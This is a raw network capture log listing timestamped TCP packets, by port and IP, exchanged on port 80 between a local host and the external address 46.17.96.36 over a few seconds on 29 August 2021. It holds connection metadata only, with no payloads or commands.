Aug 29, 2021 22:27:30.889847994 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.889863014 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.889962912 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.889980078 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.890060902 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.890089989 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.890160084 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.890178919 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.890193939 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.890268087 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.890316963 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.922298908 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.922322035 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.922424078 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.922451973 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.922462940 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.922511101 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:30.922709942 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.922725916 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.922739983 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.922755003 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.922985077 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.923000097 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.923069000 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.954737902 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.954771042 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.955077887 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.955101967 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.955197096 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.955544949 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.955579996 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.995279074 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:30.995414019 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.197000027 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.198075056 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.229593039 CEST	80	49783	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.229707003 CEST	49783	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.233445883 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.233584881 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.234049082 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.234113932 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.234265089 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.234348059 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.269476891 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.269514084 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.269537926 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.269562960 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.269587994 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.269649982 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.269723892 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.269747972 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.269771099 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.269808054 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.269874096 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.269901037 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.269934893 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.269995928 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.305443048 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.305480957 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.305495977 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.305531025 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.305561066 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.305613995 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.305663109 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.305675983 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.305695057 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.305761099 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.305819035 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.305849075 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.305917978 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.305954933 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.306170940 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.306200981 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.306216002 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.306242943 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.306265116 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.306294918 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.306318998 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.341320038 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.341443062 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.341778994 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.341809988 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.341826916 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.341844082 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.341877937 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.341907024 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.341953993 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.342001915 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.342045069 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.342071056 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.342154980 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.342183113 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.342206001 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.342447996 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.342473984 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.342624903 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.342653990 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.343067884 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.343099117 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.343147039 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.377106905 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.377388954 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.377635956 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.377665043 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.377759933 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.378165960 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.378201962 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.378231049 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.417326927 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.417507887 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.616305113 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.617432117 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.649319887 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.649452925 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.650069952 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.650162935 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.650361061 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.650473118 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.651778936 CEST	80	49784	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.651881933 CEST	49784	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.681924105 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.681957960 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.682276964 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.682312012 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.682336092 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.682387114 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.682432890 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.682442904 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.682537079 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.682564020 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.682641029 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.682682991 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.714589119 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.714632034 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.714662075 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.714685917 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.714710951 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.714725018 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.714735031 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.714760065 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.714761019 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.714771032 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.714777946 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.714850903 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.714862108 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.714881897 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.714947939 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.714948893 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.715020895 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.715094090 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.715163946 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.746948004 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.746987104 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.747004986 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.747107983 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.747164965 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.747267008 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.747308016 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.747334957 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.747364044 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:31.747483969 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.747648001 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.747673988 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.747742891 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.747980118 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.748007059 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.748032093 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.748100996 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.748346090 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.748373985 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.748447895 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.779463053 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.779510021 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.779536009 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.779705048 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.779818058 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.780035019 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.819341898 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:31.819498062 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.006799936 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.007905006 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.039050102 CEST	80	49785	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.039170027 CEST	49785	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.040379047 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.040466070 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.041176081 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.041301966 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.041528940 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.041686058 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.074197054 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.074240923 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.074502945 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.074533939 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.074558020 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.074580908 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.074615002 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.074681997 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.074702978 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.074744940 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.074850082 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.107428074 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.107466936 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.107491970 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.107547045 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.107620955 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.107758999 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.107786894 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.107846975 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.107892036 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.108144999 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.108171940 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.108196974 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.108233929 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.108270884 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.108292103 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.140125036 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.140166998 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.140228033 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.140276909 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.140302896 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.140327930 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.140361071 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.140415907 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.140906096 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.140932083 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.140954971 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.141024113 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.141058922 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.141279936 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.141305923 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.141340017 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.141591072 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.141618013 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.141643047 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.141669035 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.142081976 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.142107010 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.173547983 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.173587084 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.173610926 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.173636913 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.173664093 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.173687935 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.173713923 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.173768997 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.173794985 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.173810959 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.212160110 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.212261915 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.413022041 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.414163113 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.446043015 CEST	80	49786	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.446165085 CEST	49786	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.446376085 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.446469069 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.446971893 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.447123051 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.447329044 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.447386980 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.479243040 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.479310036 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.479496002 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.479532003 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.479567051 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.479619026 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.479657888 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.479669094 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.479768038 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.479856968 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.479860067 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.479923964 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.480084896 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.480144024 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.511957884 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.512103081 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.512106895 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.512140989 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.512168884 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.512185097 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.512212038 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.512250900 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.512352943 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.512387037 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.512418985 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.512450933 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.512567997 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.512655020 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.512718916 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.512752056 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.512821913 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.512841940 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.512847900 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.512878895 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.512917042 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.512953043 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.544564962 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.544656992 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.544671059 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.544701099 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.544734001 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.544749975 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.544819117 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.544840097 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.544882059 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.544941902 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.544987917 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.545023918 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.545052052 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.545171976 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.545303106 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.545851946 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.545891047 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.545921087 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.546022892 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.546185017 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.546298981 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.546328068 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.546354055 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.546493053 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.577234030 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.577279091 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.577306032 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.577374935 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.577404022 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.577608109 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.577636003 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.577658892 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.577682972 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.577831984 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.618901014 CEST	80	49787	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:32.619002104 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.802762032 CEST	49787	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:32.804102898 CEST	49788	80	192.168.2.4	46.17.96.36
